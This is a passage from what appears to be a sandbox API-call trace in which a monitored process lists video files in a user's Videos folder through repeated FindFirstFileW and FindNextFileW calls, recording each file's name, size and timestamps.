ftCreationTime.dwLowDateTime=0x5bcdc6d0, ftCreationTime.dwHighDateTime=0x1d62a24, ftLastAccessTime.dwLowDateTime=0xe54e6930, ftLastAccessTime.dwHighDateTime=0x1d6259e, ftLastWriteTime.dwLowDateTime=0xe54e6930, ftLastWriteTime.dwHighDateTime=0x1d6259e, nFileSizeHigh=0x0, nFileSizeLow=0x104b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDYsB.avi", cAlternateFileName="")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a99c50, ftCreationTime.dwHighDateTime=0x1d62564, ftLastAccessTime.dwLowDateTime=0x2dfe9550, ftLastAccessTime.dwHighDateTime=0x1d62b77, ftLastWriteTime.dwLowDateTime=0x2dfe9550, ftLastWriteTime.dwHighDateTime=0x1d62b77, nFileSizeHigh=0x0, nFileSizeLow=0x10dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef2oAm.mp4", cAlternateFileName="")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7786d1e0, ftCreationTime.dwHighDateTime=0x1d63213, ftLastAccessTime.dwLowDateTime=0xb8a00730, ftLastAccessTime.dwHighDateTime=0x1d62513, ftLastWriteTime.dwLowDateTime=0xb8a00730, ftLastWriteTime.dwHighDateTime=0x1d62513, nFileSizeHigh=0x0, nFileSizeLow=0xc97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ET9guH-f6fiCvbztti.swf", cAlternateFileName="ET9GUH~1.SWF")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b81e0, ftCreationTime.dwHighDateTime=0x1d62d98, ftLastAccessTime.dwLowDateTime=0xbd3bc450, ftLastAccessTime.dwHighDateTime=0x1d624f0, ftLastWriteTime.dwLowDateTime=0xbd3bc450, ftLastWriteTime.dwHighDateTime=0x1d624f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iOd5if", cAlternateFileName="")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d730980, ftCreationTime.dwHighDateTime=0x1d6246b, ftLastAccessTime.dwLowDateTime=0xbd281d80, ftLastAccessTime.dwHighDateTime=0x1d6266a, ftLastWriteTime.dwLowDateTime=0xbd281d80, ftLastWriteTime.dwHighDateTime=0x1d6266a, nFileSizeHigh=0x0, nFileSizeLow=0x3127, dwReserved0=0x0, dwReserved1=0x0, cFileName="KdLDYBwbM6Sy Sy7i.mkv", cAlternateFileName="KDLDYB~1.MKV")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce87130, ftCreationTime.dwHighDateTime=0x1d630aa, ftLastAccessTime.dwLowDateTime=0x9ef405f0, ftLastAccessTime.dwHighDateTime=0x1d62a24, ftLastWriteTime.dwLowDateTime=0x9ef405f0, ftLastWriteTime.dwHighDateTime=0x1d62a24, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="qd4MM1C5.mp4", cAlternateFileName="")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23683be0, ftCreationTime.dwHighDateTime=0x1d63032, ftLastAccessTime.dwLowDateTime=0x2dd9f100, ftLastAccessTime.dwHighDateTime=0x1d625be, ftLastWriteTime.dwLowDateTime=0x2dd9f100, ftLastWriteTime.dwHighDateTime=0x1d625be, nFileSizeHigh=0x0, nFileSizeLow=0xd8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tr9LKoqMarkw5hE97vB3.swf", cAlternateFileName="TR9LKO~1.SWF")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1996c0, ftCreationTime.dwHighDateTime=0x1d630f7, ftLastAccessTime.dwLowDateTime=0xbe8c4eb0, ftLastAccessTime.dwHighDateTime=0x1d62478, ftLastWriteTime.dwLowDateTime=0xbe8c4eb0, ftLastWriteTime.dwHighDateTime=0x1d62478, nFileSizeHigh=0x0, nFileSizeLow=0x1297d, dwReserved0=0x0, dwReserved1=0x0, cFileName="u6QwcZeF8bN5TXiPmSSi.mkv", cAlternateFileName="U6QWCZ~1.MKV")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1996c0, ftCreationTime.dwHighDateTime=0x1d630f7, ftLastAccessTime.dwLowDateTime=0xbe8c4eb0, ftLastAccessTime.dwHighDateTime=0x1d62478, ftLastWriteTime.dwLowDateTime=0xbe8c4eb0, ftLastWriteTime.dwHighDateTime=0x1d62478, nFileSizeHigh=0x0, nFileSizeLow=0x1297d, dwReserved0=0x0, dwReserved1=0x0, cFileName="u6QwcZeF8bN5TXiPmSSi.mkv", cAlternateFileName="U6QWCZ~1.MKV")) returned 0 [0094.451] FindClose (in: hFindFile=0x1ae50850 | out: hFindFile=0x1ae50850) returned 1 [0094.452] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1c62ec0, ftCreationTime.dwHighDateTime=0x1d6233f, ftLastAccessTime.dwLowDateTime=0xafbe2a70, ftLastAccessTime.dwHighDateTime=0x1d62c11, ftLastWriteTime.dwLowDateTime=0xafbe2a70, ftLastWriteTime.dwHighDateTime=0x1d62c11, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50490 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1c62ec0, ftCreationTime.dwHighDateTime=0x1d6233f, ftLastAccessTime.dwLowDateTime=0xafbe2a70, ftLastAccessTime.dwHighDateTime=0x1d62c11, ftLastWriteTime.dwLowDateTime=0xafbe2a70, ftLastWriteTime.dwHighDateTime=0x1d62c11, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bcdc6d0, ftCreationTime.dwHighDateTime=0x1d62a24, ftLastAccessTime.dwLowDateTime=0xe54e6930, ftLastAccessTime.dwHighDateTime=0x1d6259e, ftLastWriteTime.dwLowDateTime=0xe54e6930, ftLastWriteTime.dwHighDateTime=0x1d6259e, nFileSizeHigh=0x0, nFileSizeLow=0x104b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDYsB.avi", cAlternateFileName="")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a99c50, ftCreationTime.dwHighDateTime=0x1d62564, ftLastAccessTime.dwLowDateTime=0x2dfe9550, ftLastAccessTime.dwHighDateTime=0x1d62b77, ftLastWriteTime.dwLowDateTime=0x2dfe9550, ftLastWriteTime.dwHighDateTime=0x1d62b77, nFileSizeHigh=0x0, nFileSizeLow=0x10dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef2oAm.mp4", cAlternateFileName="")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7786d1e0, ftCreationTime.dwHighDateTime=0x1d63213, ftLastAccessTime.dwLowDateTime=0xb8a00730, ftLastAccessTime.dwHighDateTime=0x1d62513, ftLastWriteTime.dwLowDateTime=0xb8a00730, ftLastWriteTime.dwHighDateTime=0x1d62513, nFileSizeHigh=0x0, nFileSizeLow=0xc97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ET9guH-f6fiCvbztti.swf", cAlternateFileName="ET9GUH~1.SWF")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b81e0, ftCreationTime.dwHighDateTime=0x1d62d98, ftLastAccessTime.dwLowDateTime=0xbd3bc450, ftLastAccessTime.dwHighDateTime=0x1d624f0, ftLastWriteTime.dwLowDateTime=0xbd3bc450, ftLastWriteTime.dwHighDateTime=0x1d624f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iOd5if", cAlternateFileName="")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d730980, ftCreationTime.dwHighDateTime=0x1d6246b, ftLastAccessTime.dwLowDateTime=0xbd281d80, ftLastAccessTime.dwHighDateTime=0x1d6266a, ftLastWriteTime.dwLowDateTime=0xbd281d80, ftLastWriteTime.dwHighDateTime=0x1d6266a, nFileSizeHigh=0x0, nFileSizeLow=0x3127, dwReserved0=0x0, dwReserved1=0x0, cFileName="KdLDYBwbM6Sy Sy7i.mkv", cAlternateFileName="KDLDYB~1.MKV")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce87130, ftCreationTime.dwHighDateTime=0x1d630aa, ftLastAccessTime.dwLowDateTime=0x9ef405f0, ftLastAccessTime.dwHighDateTime=0x1d62a24, ftLastWriteTime.dwLowDateTime=0x9ef405f0, ftLastWriteTime.dwHighDateTime=0x1d62a24, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="qd4MM1C5.mp4", cAlternateFileName="")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23683be0, ftCreationTime.dwHighDateTime=0x1d63032, ftLastAccessTime.dwLowDateTime=0x2dd9f100, ftLastAccessTime.dwHighDateTime=0x1d625be, ftLastWriteTime.dwLowDateTime=0x2dd9f100, ftLastWriteTime.dwHighDateTime=0x1d625be, nFileSizeHigh=0x0, nFileSizeLow=0xd8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tr9LKoqMarkw5hE97vB3.swf", cAlternateFileName="TR9LKO~1.SWF")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1996c0, ftCreationTime.dwHighDateTime=0x1d630f7, ftLastAccessTime.dwLowDateTime=0xbe8c4eb0, ftLastAccessTime.dwHighDateTime=0x1d62478, ftLastWriteTime.dwLowDateTime=0xbe8c4eb0, ftLastWriteTime.dwHighDateTime=0x1d62478, nFileSizeHigh=0x0, nFileSizeLow=0x1297d, dwReserved0=0x0, dwReserved1=0x0, cFileName="u6QwcZeF8bN5TXiPmSSi.mkv", cAlternateFileName="U6QWCZ~1.MKV")) returned 1 [0094.452] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.452] FindClose (in: hFindFile=0x1ae50490 | out: hFindFile=0x1ae50490) returned 1 [0094.453] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b81e0, ftCreationTime.dwHighDateTime=0x1d62d98, ftLastAccessTime.dwLowDateTime=0xbd3bc450, ftLastAccessTime.dwHighDateTime=0x1d624f0, ftLastWriteTime.dwLowDateTime=0xbd3bc450, ftLastWriteTime.dwHighDateTime=0x1d624f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae508b0 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b81e0, ftCreationTime.dwHighDateTime=0x1d62d98, ftLastAccessTime.dwLowDateTime=0xbd3bc450, ftLastAccessTime.dwHighDateTime=0x1d624f0, ftLastWriteTime.dwLowDateTime=0xbd3bc450, ftLastWriteTime.dwHighDateTime=0x1d624f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23cb0c90, ftCreationTime.dwHighDateTime=0x1d62743, ftLastAccessTime.dwLowDateTime=0xb982d8f0, ftLastAccessTime.dwHighDateTime=0x1d625ca, ftLastWriteTime.dwLowDateTime=0xb982d8f0, ftLastWriteTime.dwHighDateTime=0x1d625ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="38zXHA24Rx9kbQhA7.flv", cAlternateFileName="38ZXHA~1.FLV")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6996c120, ftCreationTime.dwHighDateTime=0x1d63223, ftLastAccessTime.dwLowDateTime=0xb85e6ca0, ftLastAccessTime.dwHighDateTime=0x1d62d5e, ftLastWriteTime.dwLowDateTime=0xb85e6ca0, ftLastWriteTime.dwHighDateTime=0x1d62d5e, nFileSizeHigh=0x0, nFileSizeLow=0x1433a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bmnptdid5ilXq.swf", cAlternateFileName="BMNPTD~1.SWF")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73289b60, ftCreationTime.dwHighDateTime=0x1d627a0, ftLastAccessTime.dwLowDateTime=0xc4457550, ftLastAccessTime.dwHighDateTime=0x1d6233a, ftLastWriteTime.dwLowDateTime=0xc4457550, ftLastWriteTime.dwHighDateTime=0x1d6233a, nFileSizeHigh=0x0, nFileSizeLow=0x4307, dwReserved0=0x0, dwReserved1=0x0, cFileName="gP6n0mM3n9QEg9X4.avi", cAlternateFileName="GP6N0M~1.AVI")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e3c0b0, ftCreationTime.dwHighDateTime=0x1d625ba, ftLastAccessTime.dwLowDateTime=0xa16a75e0, ftLastAccessTime.dwHighDateTime=0x1d6273f, ftLastWriteTime.dwLowDateTime=0xa16a75e0, ftLastWriteTime.dwHighDateTime=0x1d6273f, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="I0hlXAGLV4.avi", cAlternateFileName="I0HLXA~1.AVI")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a02010, ftCreationTime.dwHighDateTime=0x1d62fb8, ftLastAccessTime.dwLowDateTime=0x24122700, ftLastAccessTime.dwHighDateTime=0x1d62d3e, ftLastWriteTime.dwLowDateTime=0x24122700, ftLastWriteTime.dwHighDateTime=0x1d62d3e, nFileSizeHigh=0x0, nFileSizeLow=0xed97, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXnVj_6.mkv", cAlternateFileName="")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ab81b0, ftCreationTime.dwHighDateTime=0x1d62b36, ftLastAccessTime.dwLowDateTime=0xf7f5e130, ftLastAccessTime.dwHighDateTime=0x1d624c2, ftLastWriteTime.dwLowDateTime=0xf7f5e130, ftLastWriteTime.dwHighDateTime=0x1d624c2, nFileSizeHigh=0x0, nFileSizeLow=0x48bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaVimV_i4Y.mkv", cAlternateFileName="JAVIMV~1.MKV")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf70490, ftCreationTime.dwHighDateTime=0x1d62430, ftLastAccessTime.dwLowDateTime=0x61d87060, ftLastAccessTime.dwHighDateTime=0x1d62697, ftLastWriteTime.dwLowDateTime=0x61d87060, ftLastWriteTime.dwHighDateTime=0x1d62697, nFileSizeHigh=0x0, nFileSizeLow=0x1213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQjrxu4F1I.mkv", cAlternateFileName="KQJRXU~1.MKV")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a9e170, ftCreationTime.dwHighDateTime=0x1d62caa, ftLastAccessTime.dwLowDateTime=0xdcc5cc50, ftLastAccessTime.dwHighDateTime=0x1d63047, ftLastWriteTime.dwLowDateTime=0xdcc5cc50, ftLastWriteTime.dwHighDateTime=0x1d63047, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONbyOSlkhyZ1lRgpsh0a.mp4", cAlternateFileName="ONBYOS~1.MP4")) returned 1 [0094.453] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc08030, ftCreationTime.dwHighDateTime=0x1d62522, ftLastAccessTime.dwLowDateTime=0x24bc1e80, ftLastAccessTime.dwHighDateTime=0x1d63163, ftLastWriteTime.dwLowDateTime=0x24bc1e80, ftLastWriteTime.dwHighDateTime=0x1d63163, nFileSizeHigh=0x0, nFileSizeLow=0x8a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="u66c9w1B9MCBOn6.flv", cAlternateFileName="U66C9W~1.FLV")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ee31610, ftCreationTime.dwHighDateTime=0x1d62960, ftLastAccessTime.dwLowDateTime=0xa350cb90, ftLastAccessTime.dwHighDateTime=0x1d62a80, ftLastWriteTime.dwLowDateTime=0xa350cb90, ftLastWriteTime.dwHighDateTime=0x1d62a80, nFileSizeHigh=0x0, nFileSizeLow=0x5d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="w-fGTFHpR69LMhw.avi", cAlternateFileName="W-FGTF~1.AVI")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ee31610, ftCreationTime.dwHighDateTime=0x1d62960, ftLastAccessTime.dwLowDateTime=0xa350cb90, ftLastAccessTime.dwHighDateTime=0x1d62a80, ftLastWriteTime.dwLowDateTime=0xa350cb90, ftLastWriteTime.dwHighDateTime=0x1d62a80, nFileSizeHigh=0x0, nFileSizeLow=0x5d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="w-fGTFHpR69LMhw.avi", cAlternateFileName="W-FGTF~1.AVI")) returned 0 [0094.454] FindClose (in: hFindFile=0x1ae508b0 | out: hFindFile=0x1ae508b0) returned 1 [0094.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b81e0, ftCreationTime.dwHighDateTime=0x1d62d98, ftLastAccessTime.dwLowDateTime=0xbd3bc450, ftLastAccessTime.dwHighDateTime=0x1d624f0, ftLastWriteTime.dwLowDateTime=0xbd3bc450, ftLastWriteTime.dwHighDateTime=0x1d624f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae503d0 [0094.454] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b81e0, ftCreationTime.dwHighDateTime=0x1d62d98, ftLastAccessTime.dwLowDateTime=0xbd3bc450, ftLastAccessTime.dwHighDateTime=0x1d624f0, ftLastWriteTime.dwLowDateTime=0xbd3bc450, ftLastWriteTime.dwHighDateTime=0x1d624f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23cb0c90, ftCreationTime.dwHighDateTime=0x1d62743, ftLastAccessTime.dwLowDateTime=0xb982d8f0, ftLastAccessTime.dwHighDateTime=0x1d625ca, ftLastWriteTime.dwLowDateTime=0xb982d8f0, ftLastWriteTime.dwHighDateTime=0x1d625ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="38zXHA24Rx9kbQhA7.flv", cAlternateFileName="38ZXHA~1.FLV")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6996c120, ftCreationTime.dwHighDateTime=0x1d63223, ftLastAccessTime.dwLowDateTime=0xb85e6ca0, ftLastAccessTime.dwHighDateTime=0x1d62d5e, ftLastWriteTime.dwLowDateTime=0xb85e6ca0, ftLastWriteTime.dwHighDateTime=0x1d62d5e, nFileSizeHigh=0x0, nFileSizeLow=0x1433a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bmnptdid5ilXq.swf", cAlternateFileName="BMNPTD~1.SWF")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73289b60, ftCreationTime.dwHighDateTime=0x1d627a0, ftLastAccessTime.dwLowDateTime=0xc4457550, ftLastAccessTime.dwHighDateTime=0x1d6233a, ftLastWriteTime.dwLowDateTime=0xc4457550, ftLastWriteTime.dwHighDateTime=0x1d6233a, nFileSizeHigh=0x0, nFileSizeLow=0x4307, dwReserved0=0x0, dwReserved1=0x0, cFileName="gP6n0mM3n9QEg9X4.avi", cAlternateFileName="GP6N0M~1.AVI")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e3c0b0, ftCreationTime.dwHighDateTime=0x1d625ba, ftLastAccessTime.dwLowDateTime=0xa16a75e0, ftLastAccessTime.dwHighDateTime=0x1d6273f, ftLastWriteTime.dwLowDateTime=0xa16a75e0, ftLastWriteTime.dwHighDateTime=0x1d6273f, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="I0hlXAGLV4.avi", cAlternateFileName="I0HLXA~1.AVI")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a02010, ftCreationTime.dwHighDateTime=0x1d62fb8, ftLastAccessTime.dwLowDateTime=0x24122700, ftLastAccessTime.dwHighDateTime=0x1d62d3e, ftLastWriteTime.dwLowDateTime=0x24122700, ftLastWriteTime.dwHighDateTime=0x1d62d3e, nFileSizeHigh=0x0, nFileSizeLow=0xed97, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXnVj_6.mkv", cAlternateFileName="")) returned 1 [0094.454] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ab81b0, ftCreationTime.dwHighDateTime=0x1d62b36, ftLastAccessTime.dwLowDateTime=0xf7f5e130, ftLastAccessTime.dwHighDateTime=0x1d624c2, ftLastWriteTime.dwLowDateTime=0xf7f5e130, ftLastWriteTime.dwHighDateTime=0x1d624c2, nFileSizeHigh=0x0, nFileSizeLow=0x48bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaVimV_i4Y.mkv", cAlternateFileName="JAVIMV~1.MKV")) returned 1 [0094.455] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf70490, ftCreationTime.dwHighDateTime=0x1d62430, ftLastAccessTime.dwLowDateTime=0x61d87060, ftLastAccessTime.dwHighDateTime=0x1d62697, ftLastWriteTime.dwLowDateTime=0x61d87060, ftLastWriteTime.dwHighDateTime=0x1d62697, nFileSizeHigh=0x0, nFileSizeLow=0x1213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQjrxu4F1I.mkv", cAlternateFileName="KQJRXU~1.MKV")) returned 1 [0094.455] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a9e170, ftCreationTime.dwHighDateTime=0x1d62caa, ftLastAccessTime.dwLowDateTime=0xdcc5cc50, ftLastAccessTime.dwHighDateTime=0x1d63047, ftLastWriteTime.dwLowDateTime=0xdcc5cc50, ftLastWriteTime.dwHighDateTime=0x1d63047, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONbyOSlkhyZ1lRgpsh0a.mp4", cAlternateFileName="ONBYOS~1.MP4")) returned 1 [0094.455] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc08030, ftCreationTime.dwHighDateTime=0x1d62522, ftLastAccessTime.dwLowDateTime=0x24bc1e80, ftLastAccessTime.dwHighDateTime=0x1d63163, ftLastWriteTime.dwLowDateTime=0x24bc1e80, ftLastWriteTime.dwHighDateTime=0x1d63163, nFileSizeHigh=0x0, nFileSizeLow=0x8a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="u66c9w1B9MCBOn6.flv", cAlternateFileName="U66C9W~1.FLV")) returned 1 [0094.455] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ee31610, ftCreationTime.dwHighDateTime=0x1d62960, ftLastAccessTime.dwLowDateTime=0xa350cb90, ftLastAccessTime.dwHighDateTime=0x1d62a80, ftLastWriteTime.dwLowDateTime=0xa350cb90, 